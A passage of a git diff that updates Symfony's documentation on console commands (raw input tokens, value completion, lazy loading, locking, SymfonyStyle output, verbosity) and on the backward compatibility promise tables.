``--no-yell``). + +You need to combine ``VALUE_IS_ARRAY`` with ``VALUE_REQUIRED`` or ``VALUE_OPTIONAL`` like this:: $this @@ -249,7 +261,7 @@ optionally accepts a value, but it's a bit tricky. Consider this example:: ) ; -This option can be used in 3 ways: ``greet --yell``, ``greet yell=louder``, +This option can be used in 3 ways: ``greet --yell``, ``greet --yell=louder``, and ``greet``. However, it's hard to distinguish between passing the option without a value (``greet --yell``) and not passing the option (``greet``). @@ -299,4 +311,158 @@ The above code can be simplified as follows because ``false !== null``:: $yell = ($optionValue !== false); $yellLouder = ($optionValue === 'louder'); +Fetching The Raw Command Input +------------------------------ + +Symfony provides a :method:`Symfony\\Component\\Console\\Input\\ArgvInput::getRawTokens` +method to fetch the raw input that was passed to the command. This is useful if +you want to parse the input yourself or when you need to pass the input to another +command without having to worry about the number of arguments or options:: + + // ... + use Symfony\Component\Process\Process; + + protected function execute(InputInterface $input, OutputInterface $output): int + { + // if this command was run as: + // php bin/console app:my-command foo --bar --baz=3 --qux=value1 --qux=value2 + + $tokens = $input->getRawTokens(); + // $tokens = ['app:my-command', 'foo', '--bar', '--baz=3', '--qux=value1', '--qux=value2']; + + // pass true as argument to not include the original command name + $tokens = $input->getRawTokens(true); + // $tokens = ['foo', '--bar', '--baz=3', '--qux=value1', '--qux=value2']; + + // pass the raw input to any other command (from Symfony or the operating system) + $process = new Process(['app:other-command', ...$input->getRawTokens(true)]); + $process->setTty(true); + $process->mustRun(); + + // ... + } + +.. versionadded:: 7.1 + + The :method:`Symfony\\Component\\Console\\Input\\ArgvInput::getRawTokens` + method was introduced in Symfony 7.1. + +Adding Argument/Option Value Completion +--------------------------------------- + +If :ref:`Console completion is installed <console-completion-setup>`, +command and option names will be auto completed by the shell. However, you +can also implement value completion for the input in your commands. For +instance, you may want to complete all usernames from the database in the +``name`` argument of your greet command. + +To achieve this, use the 5th argument of ``addArgument()`` or the 6th argument of ``addOption()``:: + + // ... + use Symfony\Component\Console\Completion\CompletionInput; + use Symfony\Component\Console\Completion\CompletionSuggestions; + + class GreetCommand extends Command + { + // ... + protected function configure(): void + { + $this + ->addArgument( + 'names', + InputArgument::IS_ARRAY, + 'Who do you want to greet (separate multiple names with a space)?', + null, + function (CompletionInput $input): array { + // the value the user already typed, e.g. when typing "app:greet Fa" before + // pressing Tab, this will contain "Fa" + $currentValue = $input->getCompletionValue(); + + // get the list of username names from somewhere (e.g. the database) + // you may use $currentValue to filter down the names + $availableUsernames = ...; + + // then suggested the usernames as values + return $availableUsernames; + } + ) + ; + } + } + +That's all you need! Assuming users "Fabien" and "Fabrice" exist, pressing +tab after typing ``app:greet Fa`` will give you these names as a suggestion. + +.. tip:: + + The shell script is able to handle huge amounts of suggestions and will + automatically filter the suggested values based on the existing input + from the user. You do not have to implement any filter logic in the + command. + + You may use ``CompletionInput::getCompletionValue()`` to get the + current input if that helps improving performance (e.g. by reducing the + number of rows fetched from the database). + +Testing the Completion script +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The Console component comes with a special +:class:`Symfony\\Component\\Console\\Tester\\CommandCompletionTester` class +to help you unit test the completion logic:: + + // ... + use Symfony\Component\Console\Application; + + class GreetCommandTest extends TestCase + { + public function testComplete(): void + { + $application = new Application(); + $application->add(new GreetCommand()); + + // create a new tester with the greet command + $tester = new CommandCompletionTester($application->get('app:greet')); + + // complete the input without any existing input (the empty string represents + // the position of the cursor) + $suggestions = $tester->complete(['']); + $this->assertSame(['Fabien', 'Fabrice', 'Wouter'], $suggestions); + + // If you filter the values inside your own code (not recommended, unless you + // need to improve performance of e.g. a database query), you can test this + // by passing the user input + $suggestions = $tester->complete(['Fa']); + $this->assertSame(['Fabien', 'Fabrice'], $suggestions); + } + } + +.. _console-global-options: + +Command Global Options +---------------------- + +The Console component adds some predefined options to all commands: + +* ``--verbose``: sets the verbosity level (e.g. ``1`` the default, ``2`` and + ``3``, or you can use respective shortcuts ``-v``, ``-vv`` and ``-vvv``) +* ``--silent``: disables all output and interaction, including errors +* ``--quiet|-q``: disables output and interaction, but errors are still displayed +* ``--no-interaction|-n``: disables interaction +* ``--version|-V``: outputs the version number of the console application +* ``--help|-h``: displays the command help +* ``--ansi|--no-ansi``: whether to force of disable coloring the output +* ``--profile``: enables the Symfony profiler + +.. versionadded:: 7.2 + + The ``--silent`` option was introduced in Symfony 7.2. + +When using the ``FrameworkBundle``, two more options are predefined: + +* ``--env|-e``: sets the Kernel configuration environment (defaults to ``APP_ENV``) +* ``--no-debug``: disables Kernel debug (defaults to ``APP_DEBUG``) + +So your custom commands can use them too out-of-the-box. + .. _`docopt standard`: http://docopt.org/ diff --git a/console/lazy_commands.rst b/console/lazy_commands.rst index 553490c845e..487ef32955f 100644 --- a/console/lazy_commands.rst +++ b/console/lazy_commands.rst @@ -10,15 +10,25 @@ The traditional way of adding commands to your application is to use :method:`Symfony\\Component\\Console\\Application::add`, which expects a ``Command`` instance as an argument. +This approach can have downsides as some commands might be expensive to +instantiate in which case you may want to lazy-load them. Note however that lazy-loading +is not absolute. Indeed a few commands such as ``list``, ``help`` or ``_complete`` can +require to instantiate other commands although they are lazy. For example ``list`` needs +to get the name and description of all commands, which might require the command to be +instantiated to get. + In order to lazy-load commands, you need to register an intermediate loader which will be responsible for returning ``Command`` instances:: use App\Command\HeavyCommand; use Symfony\Component\Console\Application; + use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\CommandLoader\FactoryCommandLoader; $commandLoader = new FactoryCommandLoader([ - 'app:heavy' => function () { return new HeavyCommand(); }, + // Note that the `list` command will still instantiate that command + // in this example. + 'app:heavy' => static fn(): Command => new HeavyCommand(), ]); $application = new Application(); @@ -35,6 +45,28 @@ method accepts any :class:`Symfony\\Component\\Console\\CommandLoader\\CommandLoaderInterface` instance so you can use your own implementation. +Another way to do so is to take advantage of ``Symfony\Component\Console\Command\LazyCommand``:: + + use App\Command\HeavyCommand; + use Symfony\Component\Console\Application; + use Symfony\Component\Console\Command\Command; + use Symfony\Component\Console\CommandLoader\FactoryCommandLoader; + + // In this case although the command is instantiated, the underlying command factory + // will not be executed unless the command is actually executed or one tries to access + // its input definition to know its argument or option inputs. + $lazyCommand = new LazyCommand( + 'app:heavy', + [], + 'This is another more complete form of lazy command.', + false, + static fn (): Command => new HeavyCommand(), + ); + + $application = new Application(); + $application->add($lazyCommand); + $application->run(); + Built-in Command Loaders ------------------------ @@ -45,10 +77,11 @@ The :class:`Symfony\\Component\\Console\\CommandLoader\\FactoryCommandLoader` class provides a way of getting commands lazily loaded as it takes an array of ``Command`` factories as its only constructor argument:: + use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\CommandLoader\FactoryCommandLoader; $commandLoader = new FactoryCommandLoader([ - 'app:foo' => function () { return new FooCommand(); }, + 'app:foo' => function (): Command { return new FooCommand(); }, 'app:bar' => [BarCommand::class, 'create'], ]); @@ -68,13 +101,13 @@ with command names as keys and service identifiers as values:: use Symfony\Component\Console\CommandLoader\ContainerCommandLoader; use Symfony\Component\DependencyInjection\ContainerBuilder; - $containerBuilder = new ContainerBuilder(); - $containerBuilder->register(FooCommand::class, FooCommand::class); - $containerBuilder->compile(); + $container = new ContainerBuilder(); + $container->register(FooCommand::class, FooCommand::class); + $container->compile(); - $commandLoader = new ContainerCommandLoader($containerBuilder, [ + $commandLoader = new ContainerCommandLoader($container, [ 'app:foo' => FooCommand::class, ]); Like this, executing the ``app:foo`` command will load the ``FooCommand`` service -by calling ``$containerBuilder->get(FooCommand::class)``. +by calling ``$container->get(FooCommand::class)``. diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst index 1be62776742..2a4fd64ffaf 100644 --- a/console/lockable_trait.rst +++ b/console/lockable_trait.rst @@ -13,19 +13,17 @@ that adds two convenient methods to lock and release commands:: // ... use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Command\LockableTrait; - use Symfony\Component\Console\Input\InputInterface; - use Symfony\Component\Console\Output\OutputInterface; + use Symfony\Component\Console\Style\SymfonyStyle; - class UpdateContentsCommand extends Command + #[AsCommand(name: 'contents:update')] + class UpdateContentsCommand { use LockableTrait; - // ... - - protected function execute(InputInterface $input, OutputInterface $output) + public function __invoke(SymfonyStyle $io): int { if (!$this->lock()) { - $output->writeln('The command is already running in another process.'); + $io->writeln('The command is already running in another process.'); return Command::SUCCESS; } @@ -38,11 +36,34 @@ that adds two convenient methods to lock and release commands:: // if not released explicitly, Symfony releases the lock // automatically when the execution of the command ends $this->release(); + + return Command::SUCCESS; } } -.. versionadded:: 5.1 +The LockableTrait will use the ``SemaphoreStore`` if available and will default +to ``FlockStore`` otherwise. You can override this behavior by setting +a ``$lockFactory`` property with your own lock factory:: + + // ... + use Symfony\Component\Console\Command\Command; + use Symfony\Component\Console\Command\LockableTrait; + use Symfony\Component\Lock\LockFactory; + + #[AsCommand(name: 'contents:update')] + class UpdateContentsCommand + { + use LockableTrait; + + public function __construct(private LockFactory $lockFactory) + { + } + + // ... + } + +.. versionadded:: 7.1 - The ``Command::SUCCESS`` constant was introduced in Symfony 5.1. + The ``$lockFactory`` property was introduced in Symfony 7.1. .. _`locks`: https://en.wikipedia.org/wiki/Lock_(computer_science) diff --git a/console/style.rst b/console/style.rst index a8cdad20004..5357b9e6172 100644 --- a/console/style.rst +++ b/console/style.rst @@ -1,6 +1,3 @@ -.. index:: - single: Console; Style commands - How to Style a Console Command ============================== @@ -10,18 +7,18 @@ questions to the user involves a lot of repetitive code. Consider for example the code used to display the title of the following command:: - // src/Command/GreetCommand.php + // src/Command/MyCommand.php namespace App\Command; + use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; - class GreetCommand extends Command + #[AsCommand(name: 'app:my-command')] + class MyCommand { - // ... - - protected function execute(InputInterface $input, OutputInterface $output) + public function __invoke(InputInterface $input, OutputInterface $output): int { $output->writeln([ '<info>Lorem Ipsum Dolor Sit Amet</>', @@ -45,26 +42,22 @@ which allow to create *semantic* commands and forget about their styling. Basic Usage ----------- -In your command, instantiate the :class:`Symfony\\Component\\Console\\Style\\SymfonyStyle` -class and pass the ``$input`` and ``$output`` variables as its arguments. Then, -you can start using any of its helpers, such as ``title()``, which displays the -title of the command:: +In your ``__invoke()`` method, add an argument of type :class:`Symfony\\Component\\Console\\Style\\SymfonyStyle`. +Then, you can start using any of its helpers, such as ``title()``, which +displays the title of the command:: - // src/Command/GreetCommand.php + // src/Command/MyCommand.php namespace App\Command; + use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Command\Command; - use Symfony\Component\Console\Input\InputInterface; - use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Style\SymfonyStyle; - class GreetCommand extends Command + #[AsCommand(name: 'app:my-command')] + class MyCommand { - // ... - - protected function execute(InputInterface $input, OutputInterface $output) + public function __invoke(SymfonyStyle $io): int { - $io = new SymfonyStyle($input, $output); $io->title('Lorem Ipsum Dolor Sit Amet'); // ... @@ -99,6 +92,8 @@ Titling Methods // ... +.. _symfony-style-content: + Content Methods ~~~~~~~~~~~~~~~ @@ -165,6 +160,37 @@ Content Methods ['foo4' => 'bar4'] ); +:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::createTable` + Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\Table` + styled according to the Symfony Style Guide, which allows you to use + features such as dynamically appending rows. + +:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::tree` + It displays the given nested array as a formatted directory/file tree + structure in the console output:: + + $io->tree([ + 'src' => [ + 'Controller' => [ + 'DefaultController.php', + ], + 'Kernel.php', + ], + 'templates' => [ + 'base.html.twig', + ], + ]); + +.. versionadded:: 7.3 + + The ``SymfonyStyle::tree()`` and the ``SymfonyStyle::createTree()`` methods + were introduced in Symfony 7.3. + +:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::createTree` + Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\TreeHelper` + styled according to the Symfony Style Guide, which allows you to use + features such as dynamically nesting nodes. + :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::newLine` It displays a blank line in the command output. Although it may seem useful, most of the times you won't need it at all. The reason is that every helper @@ -213,6 +239,8 @@ Admonition Methods 'Aenean sit amet arcu vitae sem faucibus porta', ]); +.. _symfony-style-progressbar: + Progress Bar Methods ~~~~~~~~~~~~~~~~~~~~ @@ -243,6 +271,22 @@ Progress Bar Methods $io->progressFinish(); +:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::progressIterate` + If your progress bar loops over an iterable collection, use the + ``progressIterate()`` helper:: + + $iterable = [1, 2]; + + foreach ($io->progressIterate($iterable) as $value) { + // ... do some work + } + +:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::createProgressBar` + Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\ProgressBar` + styled according to the Symfony Style Guide. + +.. _symfony-style-questions: + User Input Methods ~~~~~~~~~~~~~~~~~~ @@ -259,7 +303,7 @@ User Input Methods In case you need to validate the given value, pass a callback validator as the third argument:: - $io->ask('Number of workers to start', 1, function ($number) { + $io->ask('Number of workers to start', '1', function (string $number): int { if (!is_numeric($number)) { throw new \RuntimeException('You must type a number.'); } @@ -276,7 +320,7 @@ User Input Methods In case you need to validate the given value, pass a callback validator as the second argument:: - $io->askHidden('What is your password?', function ($password) { + $io->askHidden('What is your password?', function (string $password): string { if (empty($password)) { throw new \RuntimeException('Password cannot be empty.'); } @@ -305,9 +349,30 @@ User Input Methods $io->choice('Select the queue to analyze', ['queue1', 'queue2', 'queue3'], 'queue1'); + Choice questions display both the choice value and a numeric index, which + starts from ``0`` by default. To use custom indices, pass an array with + custom numeric keys as the choice values:: + + $io->choice('Select the queue to analyze', [5 => 'queue1', 6 => 'queue2', 7 => 'queue3']); + + Finally, you can allow users to select multiple choices. To do so, users must + separate each choice with a comma (e.g. typing ``1, 2`` will select choice 1 + and 2):: + + $io->choice('Select the queue to analyze', ['queue1', 'queue2', 'queue3'], multiSelect: true); + +.. _symfony-style-blocks: + Result Methods ~~~~~~~~~~~~~~ +.. note:: + + If you print any URL it won't be broken/cut, it will be clickable - if the terminal provides it. If the "well + formatted output" is more important, you can switch it off:: + + $io->getOutputWrapper()->setAllowCutUrls(true); + :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::success` It displays the given string or array of strings highlighted as a successful message (with a green background and the ``[OK]`` label). It's meant to be @@ -331,21 +396,17 @@ Result Methods It's meant to be used once to display the final result of executing the given command, without showing the result as a successful or failed one:: - // use simple strings for short success messages + // use simple strings for short info messages $io->info('Lorem ipsum dolor sit amet'); // ... - // consider using arrays when displaying long success messages + // consider using arrays when displaying long info messages $io->info([ 'Lorem ipsum dolor sit amet', 'Consectetur adipiscing elit', ]); -.. versionadded:: 5.2 - - The ``info()`` method was introduced in Symfony 5.2. - :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::warning` It displays the given string or array of strings highlighted as a warning message (with a red background and the ``[WARNING]`` label). It's meant to be @@ -380,6 +441,32 @@ Result Methods 'Consectetur adipiscing elit', ]); +Configuring the Default Styles +------------------------------ + +By default, Symfony Styles wrap all contents to avoid having lines of text that +are too long. The only exception is URLs, which are not wrapped, no matter how +long they are. This is done to enable clickable URLs in terminals that support them. + +If you prefer to wrap all contents, including URLs, use this method:: + + // src/Command/MyCommand.php + namespace App\Command; + + // ... + use Symfony\Component\Console\Style\SymfonyStyle; + + #[AsCommand(name: 'app:my-command')] + class MyCommand + { + public function __invoke(SymfonyStyle $io): int + { + $io->getOutputWrapper()->setAllowCutUrls(true); + + // ... + } + } + Defining your Own Styles ------------------------ @@ -400,7 +487,7 @@ Then, instantiate this custom class instead of the default ``SymfonyStyle`` in your commands. Thanks to the ``StyleInterface`` you won't need to change the code of your commands to change their appearance:: - // src/Command/GreetCommand.php + // src/Command/MyCommand.php namespace App\Console; use App\Console\CustomStyle; @@ -408,16 +495,11 @@ of your commands to change their appearance:: use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; - class GreetCommand extends Command + #[AsCommand(name: 'app:my-command')] + class MyCommand { - // ... - - protected function execute(InputInterface $input, OutputInterface $output) + public function __invoke(InputInterface $input, OutputInterface $output): int { - // Before - $io = new SymfonyStyle($input, $output); - - // After $io = new CustomStyle($input, $output); // ... diff --git a/console/verbosity.rst b/console/verbosity.rst index c16737c2b61..3afd085d773 100644 --- a/console/verbosity.rst +++ b/console/verbosity.rst @@ -7,7 +7,10 @@ messages, but you can control their verbosity with the ``-q`` and ``-v`` options .. code-block:: terminal - # do not output any message (not even the command result messages) + # suppress all output, including errors + $ php bin/console some-command --silent + + # suppress all output (even the command result messages) but display errors $ php bin/console some-command -q $ php bin/console some-command --quiet @@ -23,6 +26,10 @@ messages, but you can control their verbosity with the ``-q`` and ``-v`` options # display all messages (useful to debug errors) $ php bin/console some-command -vvv +.. versionadded:: 7.2 + + The ``--silent`` option was introduced in Symfony 7.2. + The verbosity level can also be controlled globally for all commands with the ``SHELL_VERBOSITY`` environment variable (the ``-q`` and ``-v`` options still have more precedence over the value of ``SHELL_VERBOSITY``): @@ -30,6 +37,7 @@ have more precedence over the value of ``SHELL_VERBOSITY``): ===================== ========================= =========================================== Console option ``SHELL_VERBOSITY`` value Equivalent PHP constant ===================== ========================= =========================================== +``--silent`` ``-2`` ``OutputInterface::VERBOSITY_SILENT`` ``-q`` or ``--quiet`` ``-1`` ``OutputInterface::VERBOSITY_QUIET`` (none) ``0`` ``OutputInterface::VERBOSITY_NORMAL`` ``-v`` ``1`` ``OutputInterface::VERBOSITY_VERBOSE`` @@ -41,26 +49,27 @@ It is possible to print a message in a command for only a specific verbosity level. For example:: // ... + use Symfony\Component\Console\Attribute\Argument; + use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; - class CreateUserCommand extends Command + #[AsCommand(name: 'app:create-user')] + class CreateUserCommand { - // ... - - public function execute(InputInterface $input, OutputInterface $output) + public function __invoke(OutputInterface $output, #[Argument] string $username, #[Argument] string $password): int { $user = new User(...); $output->writeln([ - 'Username: '.$input->getArgument('username'), - 'Password: '.$input->getArgument('password'), + 'Username: '.$username, + 'Password: '.$password, ]); - // available methods: ->isQuiet(), ->isVerbose(), ->isVeryVerbose(), ->isDebug() + // available methods: ->isSilent(), ->isQuiet(), ->isVerbose(), ->isVeryVerbose(), ->isDebug() if ($output->isVerbose()) { - $output->writeln('User class: '.get_class($user)); + $output->writeln('User class: '.$user::class); } // alternatively you can pass the verbosity level PHP constant to writeln() @@ -68,13 +77,24 @@ level. For example:: 'Will only be printed in verbose mode or higher', OutputInterface::VERBOSITY_VERBOSE ); + + return Command::SUCCESS; } } -When the quiet level is used, all output is suppressed as the default +.. versionadded:: 7.2 + + The ``isSilent()`` method was introduced in Symfony 7.2. + +When the silent or quiet level are used, all output is suppressed as the default :method:`Symfony\\Component\\Console\\Output\\Output::write` method returns without actually printing. +.. tip:: + + When using the ``silent`` verbosity, errors won't be displayed in the console + but they will still be logged through the :doc:`Symfony logger </logging>` integration. + .. tip:: The MonologBridge provides a :class:`Symfony\\Bridge\\Monolog\\Handler\\ConsoleHandler` diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst index d0c82ab1c1f..ee3f72a0333 100644 --- a/contributing/code/bc.rst +++ b/contributing/code/bc.rst @@ -4,15 +4,13 @@ Our Backward Compatibility Promise Ensuring smooth upgrades of your projects is our first priority. That's why we promise you backward compatibility (BC) for all minor Symfony releases. You probably recognize this strategy as `Semantic Versioning`_. In short, -Semantic Versioning means that only major releases (such as 2.0, 3.0 etc.) are -allowed to break backward compatibility. Minor releases (such as 2.5, 2.6 etc.) +Semantic Versioning means that only major releases (such as 5.0, 6.0 etc.) are +allowed to break backward compatibility. Minor releases (such as 5.1, 5.2 etc.) may introduce new features, but must do so without breaking the existing API of -that release branch (2.x in the previous example). +that release branch (5.x in the previous example). -.. caution:: - - This promise was introduced with Symfony 2.3 and does not apply to previous - versions of Symfony. +We also provide deprecation message triggered in the code base to help you with +the migration process across major releases. However, backward compatibility comes in many different flavors. In fact, almost every change that we make to the framework can potentially break an application. @@ -32,7 +30,7 @@ The second section, "Working on Symfony Code", is targeted at Symfony contributors. This section lists detailed rules that every contributor needs to follow to ensure smooth upgrades for our users. -.. caution:: +.. warning:: :doc:`Experimental Features </contributing/code/experimental>` and code marked with the ``@internal`` tags are excluded from our Backward @@ -55,7 +53,7 @@ All interfaces shipped with Symfony can be used in type hints. You can also call any of the methods that they declare. We guarantee that we won't break code that sticks to these rules. -.. caution:: +.. warning:: The exception to this rule are interfaces tagged with ``@internal``. Such interfaces should not be used or implemented. @@ -72,7 +70,7 @@ backward compatibility promise: +-----------------------------------------------+-----------------------------+ | Type hint against the interface | Yes | +-----------------------------------------------+-----------------------------+ -| Call a method | Yes | +| Call a method | Yes :ref:`[10] <note-10>` | +-----------------------------------------------+-----------------------------+ | **If you implement the interface and...** | **Then we guarantee BC...** | +-----------------------------------------------+-----------------------------+ @@ -91,7 +89,7 @@ Using our Classes All classes provided by Symfony may be instantiated and accessed through their public methods and properties. -.. caution:: +.. warning:: Classes, properties and methods that bear the tag ``@internal`` as well as the classes located in the various ``*\Tests\`` namespaces are an @@ -114,13 +112,13 @@ covered by our backward compatibility promise: +-----------------------------------------------+-----------------------------+ | Access a public property | Yes | +-----------------------------------------------+-----------------------------+ -| Call a public method | Yes | +| Call a public method | Yes :ref:`[10] <note-10>` | +-----------------------------------------------+-----------------------------+ | **If you extend the class and...** | **Then we guarantee BC...** | +-----------------------------------------------+-----------------------------+ | Access a protected property | Yes | +-----------------------------------------------+-----------------------------+ -| Call a protected method | Yes | +| Call a protected method | Yes :ref:`[10] <note-10>` | +-----------------------------------------------+-----------------------------+ | Override a public property | Yes | +-----------------------------------------------+-----------------------------+ @@ -148,7 +146,7 @@ Using our Traits All traits provided by Symfony may be used in your classes. -.. caution:: +.. warning:: The exception to this rule are traits tagged with ``@internal``. Such traits should not be used. @@ -178,6 +176,13 @@ covered by our backward compatibility promise: | Use a public, protected or private method | Yes | +-----------------------------------------------+-----------------------------+ +Using our Translations +~~~~~~~~~~~~~~~~~~~~~~ + +All translations provided by Symfony for security and validation errors are +intended for internal use only. They may be changed or removed at any time. +Symfony's Backward Compatibility Promise does not apply to internal translations. + Working on Symfony Code ----------------------- @@ -190,12 +195,12 @@ Changing Interfaces This table tells you which changes you are allowed to do when working on Symfony's interfaces: -============================================== ============== -Type of Change Change Allowed -============================================== ============== +============================================== ============== =============== +Type of Change Change Allowed Notes +============================================== ============== =============== Remove entirely No Change name or namespace No -Add parent interface Yes [2]_ +Add parent interface Yes :ref:`[2] <note-2>` Remove parent interface No **Methods** Add method No @@ -204,14 +209,14 @@ Change name No Move to parent interface Yes Add argument without a default value No Add argument with a default value No -Remove argument No [3]_ +Remove argument No :ref:`[3] <note-3>` Add default value to an argument No Remove default value of an argument No Add type hint to an argument No Remove type hint of an argument No Change argument type No Add return type No -Remove return type No [9]_ +Remove return type No :ref:`[9] <note-9>` Change return type No **Static Methods** Turn non static into static No @@ -219,8 +224,8 @@ Turn static into non static No **Constants** Add constant Yes Remove constant No -Change value of a constant Yes [1]_ [5]_ -============================================== ============== +Change value of a constant Yes :ref:`[1] <note-1>` :ref:`[5] <note-5>` +============================================== ============== =============== Changing Classes ~~~~~~~~~~~~~~~~ @@ -228,102 +233,113 @@ Changing Classes This table tells you which changes you are allowed to do when working on Symfony's classes: -================================================== ============== -Type of Change Change Allowed -================================================== ============== -Remove entirely No -Make final No [6]_ -Make abstract No -Change name or namespace No -Change parent class Yes [4]_ -Add interface Yes -Remove interface No +======================================================================== ============== =============== +Type of Change Change Allowed Notes +======================================================================== ============== =============== +Remove entirely No +Make final No :ref:`[6] <note-6>` +Make abstract No +Change name or namespace No +Change parent class Yes :ref:`[4] <note-4>` +Add interface Yes +Remove interface No **Public Properties** -Add public property Yes -Remove public property No -Reduce visibility No -Move to parent class Yes +Add public property Yes +Remove public property No +Reduce visibility No +Move to parent class Yes **Protected Properties** -Add protected property Yes -Remove protected property No [7]_ -Reduce visibility No [7]_ -Make public No [7]_ -Move to parent class Yes +Add protected property Yes +Remove protected property No :ref:`[7] <note-7>` +Reduce visibility No :ref:`[7] <note-7>` +Make public No :ref:`[7] <note-7>` +Move to parent class Yes **Private Properties** -Add private property Yes -Make public or protected Yes -Remove private property Yes +Add private property Yes +Make public or protected Yes +Remove private property Yes **Constructors** -Add constructor without mandatory arguments Yes [1]_ -Remove constructor No -Reduce visibility of a public constructor No -Reduce visibility of a protected constructor No [7]_ -Move to parent class Yes +Add constructor without mandatory arguments Yes :ref:`[1] <note-1>` +:ref:`Add argument without a default value <add-argument-public-method>` No +Add argument with a default value Yes :ref:`[11] <note-11>` +Remove argument No :ref:`[3] <note-3>` +Add default value to an argument Yes +Remove default value of an argument No +Add type hint to an argument No +Remove type hint of an argument Yes +Change argument type No +Remove constructor No +Reduce visibility of a public constructor No +Reduce visibility of a protected constructor No :ref:`[7] <note-7>` +Move to parent class Yes **Destructors** -Add destructor Yes -Remove destructor No -Move to parent class Yes +Add destructor Yes +Remove destructor No +Move to parent class Yes **Public Methods** -Add public method Yes -Remove public method No -Change name No -Reduce visibility No -Make final No [6]_ -Move to parent class Yes -Add argument without a default value No -Add argument with a default value No [7]_ [8]_ -Remove argument No [3]_ -Add default value to an argument No [7]_ [8]_ -Remove default value of an argument No -Add type hint to an argument No [7]_ [8]_ -Remove type hint of an argument No [7]_ [8]_ -Change argument type No [7]_ [8]_ -Add return type No [7]_ [8]_ -Remove return type No [7]_ [8]_ [9]_ -Change return type No [7]_ [8]_ +Add public method Yes +Remove public method No +Change name No +Reduce visibility No +Make final No :ref:`[6] <note-6>` +Move to parent class Yes +:ref:`Add argument without a default value <add-argument-public-method>` No +:ref:`Add argument with a default value <add-argument-public-method>` No :ref:`[7] <note-7>` :ref:`[8] <note-8>` +Rename argument Yes :ref:`[10] <note-10>` +Remove argument No :ref:`[3] <note-3>` +Add default value to an argument No :ref:`[7] <note-7>` :ref:`[8] <note-8>` +Remove default value of an argument No +Add type hint to an argument No :ref:`[7] <note-7>` :ref:`[8] <note-8>` +Remove type hint of an argument No :ref:`[7] <note-7>` :ref:`[8] <note-8>` +Change argument type No :ref:`[7] <note-7>` :ref:`[8] <note-8>` +Add return type No :ref:`[7] <note-7>` :ref:`[8] <note-8>` +Remove return type No :ref:`[7] <note-7>` :ref:`[8] <note-8>` :ref:`[9] <note-9>` +Change return type No :ref:`[7] <note-7>` :ref:`[8] <note-8>` **Protected Methods** -Add protected method Yes -Remove protected method No [7]_ -Change name No [7]_ -Reduce visibility No [7]_ -Make final No [6]_ -Make public No [7]_ [8]_ -Move to parent class Yes -Add argument without a default value No [7]_ -Add argument with a default value No [7]_ [8]_ -Remove argument No [3]_ -Add default value to an argument No [7]_ [8]_ -Remove default value of an argument No [7]_ -Add type hint to an argument No [7]_ [8]_ -Remove type hint of an argument No [7]_ [8]_ -Change argument type No [7]_ [8]_ -Add return type No [7]_ [8]_ -Remove return type No [7]_ [8]_ [9]_ -Change return type No [7]_ [8]_ +Add protected method Yes +Remove protected method No :ref:`[7] <note-7>` +Change name No :ref:`[7] <note-7>` +Reduce visibility No :ref:`[7] <note-7>` +Make final No :ref:`[6] <note-6>` +Make public No :ref:`[7] <note-7>` :ref:`[8] <note-8>` +Move to parent class Yes +:ref:`Add argument without a default value <add-argument-public-method>` No +:ref:`Add argument with a default value <add-argument-public-method>` No :ref:`[7] <note-7>` :ref:`[8] <note-8>` +Rename argument Yes :ref:`[10] <note-10>` +Remove argument No :ref:`[3] <note-3>` +Add default value to an argument No :ref:`[7] <note-7>` :ref:`[8] <note-8>` +Remove default value of an argument No :ref:`[7] <note-7>` +Add type hint to an argument No :ref:`[7] <note-7>` :ref:`[8] <note-8>` +Remove type hint of an argument No :ref:`[7] <note-7>` :ref:`[8] <note-8>` +Change argument type No :ref:`[7] <note-7>` :ref:`[8] <note-8>` +Add return type No :ref:`[7] <note-7>` :ref:`[8] <note-8>` +Remove return type No :ref:`[7] <note-7>` :ref:`[8] <note-8>` :ref:`[9] <note-9>` +Change return type No :ref:`[7] <note-7>` :ref:`[8] <note-8>` **Private Methods** -Add private method Yes -Remove private method Yes -Change name Yes -Make public or protected Yes -Add argument without a default value Yes -Add argument with a default value Yes -Remove argument Yes -Add default value to an argument Yes -Remove default value of an argument Yes -Add type hint to an argument Yes -Remove type hint of an argument Yes -Change argument type Yes -Add return type Yes -Remove return type Yes -Change return type Yes +Add private method Yes +Remove private method Yes +Change name Yes +Make public or protected Yes +Add argument without a default value Yes +Add argument with a default value Yes +Rename argument Yes +Remove argument Yes +Add default value to an argument Yes +Remove default value of an argument Yes +Add type hint to an argument Yes +Remove type hint of an argument Yes +Change argument type Yes +Add return type Yes +Remove return type Yes +Change return type Yes **Static Methods and Properties** -Turn non static into static No [7]_ [8]_ -Turn static into non static No +Turn non static into static No :ref:`[7] <note-7>` :ref:`[8] <note-8>` +Turn static into non static No **Constants** -Add constant Yes -Remove constant No -Change value of a constant Yes [1]_ [5]_ -================================================== ============== +Add constant Yes +Remove constant No +Change value of a constant Yes :ref:`[1] <note-1>` :ref:`[5] <note-5>` +======================================================================== ============== =============== Changing Traits ~~~~~~~~~~~~~~~ @@ -331,118 +347,212 @@ Changing Traits This table tells you which changes you are allowed to do when working on Symfony's traits: -================================================== ============== -Type of Change Change Allowed -================================================== ============== -Remove entirely No -Change name or namespace No -Use another trait Yes +=============================================================================== ============== =============== +Type of Change Change Allowed Notes +=============================================================================== ============== =============== 